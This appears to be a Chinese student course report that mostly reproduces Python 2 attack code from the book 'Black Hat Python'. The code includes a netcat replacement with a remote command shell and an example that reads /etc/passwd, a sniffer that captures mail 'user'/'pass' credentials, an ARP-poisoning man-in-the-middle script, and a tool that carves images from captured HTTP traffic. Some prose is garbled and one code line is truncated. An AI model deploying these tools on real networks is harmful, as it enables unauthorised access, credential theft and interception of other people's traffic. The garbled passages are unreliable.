# 个人贡献
在本次课程设计实践中，我负责网络安全编程，以及网络协议分析部分，下面是在实践过程中所用到的代码及注释。
# Python网络编程
## 取代 netcat
netcat是是网络界的“瑞士军刀＂，所以聪明的系统管理员都会将它从系统中移除。不止在一个场合，我进众的服务器没有安装 netcat却安装了 Python。在这种情况下，需要创建一个简单的客户端和服务器用来传递想使用的文件，或者创建个监听端让自已拥有增时命令的增们如果作是通过Web应用漏洞进入服务器的，那么在后台调用Python创建备用的控制通道显得尤为重要
这样就不需要首先在目标器上安装木马或后门
bhnet.py
```
import sys
import socket
import getopt
import threading
import subprocess
#define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
#this runs a command and returns the output
def run_command(command):
#trim the newline
command = command.rstrip()
#run the command and get the output back
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
#send the output back to the client
return output
#this handles incoming client connections
def client_handler(client_socket):
global upload
global execute
global command
#check for upload
if len(upload_destination):
#read in all of the bytes and write to our destination
file_buffer = ""
#keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
#now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#acknowledge that we wrote the file out
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
#check for command execution
if len(execute):
#run the command
output = run_command(execute)
client_socket.send(output)
#now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
#now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
#we have a valid command so execute it and send back the results
response = run_command(cmd_buffer)
#send back the response
client_socket.send(response)
#this is for incoming connections
def server_loop():
global target
global port
#if no target is defined we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
#spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
#if we don't listen we are a client....make it so.
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#connect to our target host
client.connect((target,port))
#if we detect input from stdin send it
#if not we are going to wait for the user to punch some in
if len(buffer):
client.send(buffer)
while True:
#now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data
if recv_len < 4096:
break
print response,
# wait for more input
buffer = raw_input("")
buffer += "\n"
#send it off
client.send(buffer)
except:
#just catch generic errors - you can do your homework to beef this up
print "[*] Exception! Exiting."
#teardown the connection
client.close()
def usage():
print "Netcat Replacement"
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run - execute the given file upon receiving a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
#read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
#are we going to listen or just send data from stdin
if not listen and len(target) and port > 0:
#read in the buffer from the commandline
#this will block, so send CTRL-D if not sending input
#to stdin
buffer = sys.stdin.read()
#send data off
client_sender(buffer)
#we are going to listen and potentially
#upload things, execute commands and drop a shell back
#depending on our command line options above
if listen:
server_loop()
main()
```
listing-1-3.py
```
import socket
import threading
bind_ip = "0.0.0.0"
bind_port = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip,bind_port)
#this is our client handling thread
def handle_client(client_socket):
#just print out what the client sends
request = client_socket.recv(1024)
print "[*] Received: %s" % request
#send back a packet
client_socket.send("ACK!")
print client_socket.getpeername()
client_socket.close()
while True:
client,addr = server.accept()
print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])
#spin up our client thread to handle incoming data
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()
```
我们将接收的数据提交给`response Handler函数`。在函数中，我们可以修改数据包的内容，进行模测试任务，检测认证内题，或者其他任何你想做的事情，这里还有个类假的 request_handler函数可以将输出的流量进行整改最后步是将接收的缓有发送到不地客户据
剩于下的代码非简单我们持本地取数据处理，发送到运程主机、从
程读取取数据据、处理，发送国本地机自到有数据都处理
面我们将剩余的函数代码添加进来，完成代理本的编写：
```
import sys
import socket
import threading
#this is a pretty hex dumping function directly taken from
#http://code.activestate.com/recipes/142812-hex-dumper/
def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
s = src[i:i+length]
hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append( b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text) )
print b'\n'.join(result)
def receive_from(connection):
buffer = ""
#We set a 2 second time out depending on your
#target this may need to be adjusted
connection.settimeout(2)
try:
# keep reading into the buffer until there's no more data
#or we time out
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except:
pass
return buffer
#modify any requests destined for the remote host
def request_handler(buffer):
#perform packet modifications
return buffer
#modify any responses destined for the local host
def response_handler(buffer):
#perform packet modifications
return buffer
def proxy_handler(client_socket, remote_host, remote_port, receive_first):
#connect to the remote host
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))
#receive data from the remote end if necessary
if receive_first:
remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer)
#send it to our response handler
remote_buffer = response_handler(remote_buffer)
#if we have data to send to our local client send it
if len(remote_buffer):
print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
client_socket.send(remote_buffer)
#now let's loop and reading from local, send to remote, send to local
#rinse wash repeat
while True:
#read from local host
local_buffer = receive_from(client_socket)
if len(local_buffer):
print "[==>] Received %d bytes from localhost." % len(local_buffer)
hexdump(local_buffer)
#send it to our request handler
local_buffer = request_handler(local_buffer)
#send off the data to the remote host
remote_socket.send(local_buffer)
print "[==>] Sent to remote."
#receive back the response
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print "[<==] Received %d bytes from remote." % len(remote_buffer)
hexdump(remote_buffer)
#send to our response handler
remote_buffer = response_handler(remote_buffer)
#send the response to the local socket
client_socket.send(remote_buffer)
print "[<==] Sent to localhost."
#if no more data on either side close the connections
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print "[*] No more data. Closing connections."
break
def server_loop(local_host,local_port,remote_host,remote_port,receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind((local_host,local_port))
except:
print "[!!] Failed to listen on %s:%d" % (local_host,local_port)
print "[!!] Check for other listening sockets or correct permissions."
sys.exit(0)
print "[*] Listening on %s:%d" % (local_host,local_port)
server.listen(5)
while True:
client_socket, addr = server.accept()
#print out the local connection information
print "[==>] Received incoming connection from %s:%d" % (addr[0],addr[1])
#start a thread to talk to the remote host
proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))
proxy_thread.start()
def main():
#no fancy command line parsing here
if len(sys.argv[1:]) != 5:
print "Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0)
#setup local listening parameters
local_host = sys.argv[1]
local_port = int(sys.argv[2])
#setup remote target
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
#this tells our proxy to connect and receive data
#before sending to the remote host
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else:
receive_first = False
#now spin up our listening socket
server_loop(local_host,local_port,remote_host,remote_port,receive_first)
main()
## Windows和 Linux上的包嗅探
在 Windows和 Linux上访问原始套接字有些许不同，但我们更中意于在多平台部署同样的嗅探器以实现更大的灵活性。我们将先创建套接字对象，然后
再判断程序在哪个平台上运行。在 Windows平台上，我们需要通过套接字输
入／输出控制（OCTL）设置一些额外的标志，它允许在网络接口上启用混杂模
式。在第一个例子中，我们只需设置原始套接字嗅探器，读取一个数据包：
```
import socket
import os
#host to listen on
host = "192.168.0.196"
#create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
#we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
#if we're on Windows we need to send an IOCTL
#to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
#read in a single packet
print sniffer.recvfrom(65565)
#if we're on Windows turn off promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
```
* 现在，我们知道了如何将IP头中的值映射到C语言的数据类型中。在将数
据结构转换为Python对象时，使用C语言的代码作为参考非常有用，因为它使
得在编写纯 Python代码进行处理时显得无缝且自然。值得注意的是，结构体中的ip_hl和ip_v部分添加了比特位标志，说明字段按比特位计算，
长度为4比特。我们将使用纯Python的解决方案确保数据能正确映射到这些字
段中，这样就能避免对任何比特位进行操作。
来，我们将ip解码的代码添
加到smiffer＿ip_header_decode.py中：
```
import socket
import os
import struct
from ctypes import *
#监听的主机
host = "192.168.0.187"
#ip头定义
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# 协议字段与协议名称对应
self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
# 可读性更强的IP地址
self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))
# 协议类型
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
#create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
#we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
#if we're on Windows we need to send some ioctls
#to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# read in a single packet
raw_buffer = sniffer.recvfrom(65565)[0]
# create an IP header from the first 20 bytes of the buffer
ip_header = IP(raw_buffer[0:20])
print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
except KeyboardInterrupt:
#如果运行在Windows上，关闭混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
```
## 解码ICMP
现在我们已经能够完全解码嗅探到的任何数据的IP层了，因为发送UDP
数据到关闭的端口时会产生ICMP响应，所以我们还需要对ICMP数据进行解
码。ICMP内容中包含的信息非常繁杂，但每条信息都包含三个固定的字段：
数据类型、代码值和校验和。数据类型和代码值字段包含了主机接收到的ICMP
信息的类别，它们们揭示了正确解码ICMP信息的方法。
我们的扫描器的目标是查找类型值为3，代码值也为3的ICMP数据包
，这种ICMP响应数据意味着目标不可达（ estination Unreachable），而代码
值为3是由于目标主机产生了端口不可达（ port Unreachable）的错误。图
所示为目标不可达时的ICMP信息
可以看到，前8比特是1CMP的类型，之后的8比特包含了ICMP的代码
值。有趣的是，之前我们发送的UDP数据包触发了ICMP响应，目标主机发送这种类型的ICMP数据包时，UDP数据包的IP头也包含在这个ICMP数据中。
为了确认是我们的扫描器触发了ICMP响应，我们还可以自定义8字节的附加
数据作为UDP的负载发送到目标主机，然后与接收到的ICMP包最后的8字节
进行对比：
```
import socket
import os
import struct
import threading
from ctypes import *
#host to listen on
host = "192.168.0.187"
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
#map protocol constants to their names
self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
#human readable IP addresses
self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))
#human readable protocol
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
class ICMP(Structure):
_fields_ = [
("type", c_ubyte),
("code", c_ubyte),
("checksum", c_ushort),
("unused", c_ushort),
("next_hop_mtu", c_ushort)
]
def __new__(self, socket_buffer):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer):
pass
#create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
#we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
#if we're on Windows we need to send some ioctls
#to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
#read in a single packet
raw_buffer = sniffer.recvfrom(65565)[0]
#create an IP header from the first 20 bytes of the buffer
ip_header = IP(raw_buffer[0:20])
print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
#if it's ICMP we want it
if ip_header.protocol == "ICMP":
# calculate where our ICMP packet starts
offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]
#create our ICMP structure
icmp_header = ICMP(buf)
print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)
#handle CTRL-C
except KeyboardInterrupt:
#if we're on Windows turn off promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
```
## 窃取E-mail认证
现在，我们将建立一个基于 Scapy的嗅探架构，对数据包进行简单的解析和输出，以获得对 Scapy的初步认识。实现主功能的 sniff函数类似如下
`sniff(filter", iface="any",prn=function, count=N)`
filter参数允许我们对 Scapy嗅探的数据包指定一个BPF（ Wireshark类型）
的过滤器，也可以留空以嗅探所有的数据包。例如，如果需要嗅探所有的HTTP
数据包，你可以使用 tcp port 80的BPF过滤。iface参数设置嗅探器所要嗅
探的网卡；如果留空，则对所有的网卡进行嗅探。prn参数指定唤探到符合过
滤器条件的数据包时所调用的回调函数，这个回调函数以接收到的数据包对象
作为唯一的参数， count参数指定你需要唳探的数据包的个数：如果留空，Scapy
默认为嗅探无限个。
我们从利用 Scapy创建一个简单的暝探器开始，它捕获一个数据包，然后
输出其中的内容。之后进行扩展，使它仅对 email相关的命令进行嗅
探。新建 mail_sniffer文件然后输如下代码：
```
import threading
from scapy.all import *
#our packet callback
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "[*] Server: %s" % packet[IP].dst
print "[*] %s" % packet[TCP].payload
#fire up our sniffer
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,s
```
编写ARP投毒脚本：
```
from scapy.all import *
import os
import sys
import threading
interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254"
packet_count = 1000
poisoning = True
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
#调用不同的send函数
print "[*] Restoring target..."
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
def get_mac(ip_address):
responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
#返回从响应数据中获取的MAC地址
for s,r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
global poisoning
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst= target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst= gateway_mac
print "[*] Beginning the ARP poison. [CTRL-C to stop]"
while poisoning:
send(poison_target)
send(poison_gateway)
time.sleep(2)
print "[*] ARP poison attack finished."
return
#set our interface
conf.iface = interface
#turn off output
conf.verb = 0
print "[*] Setting up %s" % interface
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print "[!!!] Failed to get gateway MAC. Exiting."
sys.exit(0)
else:
print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)
target_mac = get_mac(target_ip)
if target_mac is None:
print "[!!!] Failed to get target MAC. Exiting."
sys.exit(0)
else:
print "[*] Target %s is at %s" % (target_ip,target_mac)
#start poison thread
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()
try:
print "[*] Starting sniffer for %d packets" % packet_count
bpf_filter = "ip host %s" % target_ip
packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
except KeyboardInterrupt:
pass
finally:
#write out the captured packets
print "[*] Writing packets to arper.pcap"
wrpcap('arper.pcap',packets)
poisoning = False
#wait for poisoning thread to exit
time.sleep(2)
#restore the network
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
```
## 处理PCAP文件
Wireshark和其他如 Network Miner等工具能很方便直观地测览数据包文件，
但有时候你
能想利用 Python和 Scapy自动的对PCAP数据进行解析和分割，
一些更高级的用法是基于捕获到的网络流量，修改负载中的字段进行模糊测试，
或仅仅是对之前的流量简单地进行回放。
我们要做的工作还有点不同。我们将尝试从HTTP流量中提取图像文件，
后利用 OpenCV这样的计算机图像处理工具对提取的图像进行处理，对图像
中包含人脸的部分进行检测，这样能缩小选择的图片范围，找到我们感兴趣的东
西。你可以利用我们之前进行ARP欺骗的脚本捕获数据生成PCAP文件，或
者对它进行扩展，在目标浏览网页时实时的对图
像进行人脸检测。下面我们
编写进行PCAP分析所需要的代：
```
import re
import zlib
import cv2
from scapy.all import *
pictures_directory = "pic_carver/pictures"
faces_directory = "pic_carver/faces"
pcap_file = "bhp.pcap"
def face_detect(path,file_name):
img = cv2.imread(path)
cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))
if len(rects) == 0:
return False
rects[:, 2:] += rects[:, :2]
#highlight the faces in the image
for x1,y1,x2,y2 in rects:
cv2.rectangle(img,(x1,y1),(x2,y2),(127,255,0),2)
cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img)
return True
def get_http_headers(http_payload):
try:
#split the headers off if it is HTTP traffic
headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]
#break out the headers
headers = dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", headers_raw))
except:
return None
if "Content-Type" not in headers:
return None
return headers
def extract_image(headers,http_payload):
image = None
image_type = None
try:
if "image" in headers['Content-Type']:
#grab the image type and image body
image_type = headers['Content-Type'].split("/")[1]
image = http_payload[http_payload.index("\r\n\r\n")+4:]
#if we detect compression decompress the image
try:
if "Content-Encoding" in headers.keys():
if headers['Content-Encoding'] == "gzip":
image = zlib.decompress(image,16+zlib.MAX_WBITS)
elif headers['Content-Encoding'] == "deflate":
image = zlib.decompress(image)
except:
pass
except:
return None,None
return image,image_type
def http_assembler(pcap_file):
carved_images = 0
faces_detected = 0
a = rdpcap(pcap_file)
sessions = a.sessions()
for session in sessions:
http_payload = ""
for packet in sessions[session]:
try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
# reassemble the stream into a single buffer
http_payload += str(packet[TCP].payload)
except:
pass
headers = get_http_headers(http_payload)
if headers is None:
continue
image,image_type = extract_image(headers,http_payload)
if image is not None and image_type is not None:
#store the image
file_name = "%s-pic_carver_%d.%s" % (pcap_file,carved_images,image_type)
fd = open("%s/%s" % (pictures_directory,file_name),"wb")
fd.write(image)
fd.close()
carved_images += 1
#now attempt face detection
try:
result = face_detect("%s/%s" % (pictures_directory,file_name),file_name)
if result is True:
faces_detected += 1
except:
pass
return carved_images, faces_detected
carved_images, faces_detected = http_assembler(pcap_file)
print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected
```
# 设计体会及收获
在本次实践中，我觉得自己收获了很多，首先自己接触了一种新的语言--python语言，从丝毫不了解到简单入门，自己也付出了一定的努力，还有就是在其他两位同学的帮助下，可以在参考书的提示下编写一些代码，并可以将之运行，这也是一个不小的进步，不过相较于其他两位同学，自己的能力还是差的很远，还是要继续努力。
# 参考资料
《Python黑帽子参考书》
[快速入门：十分钟学会Python](http://blog.jobbole.com/43922/)
[快速入门python学习笔记](http://www.jb51.net/article/129863.htm)
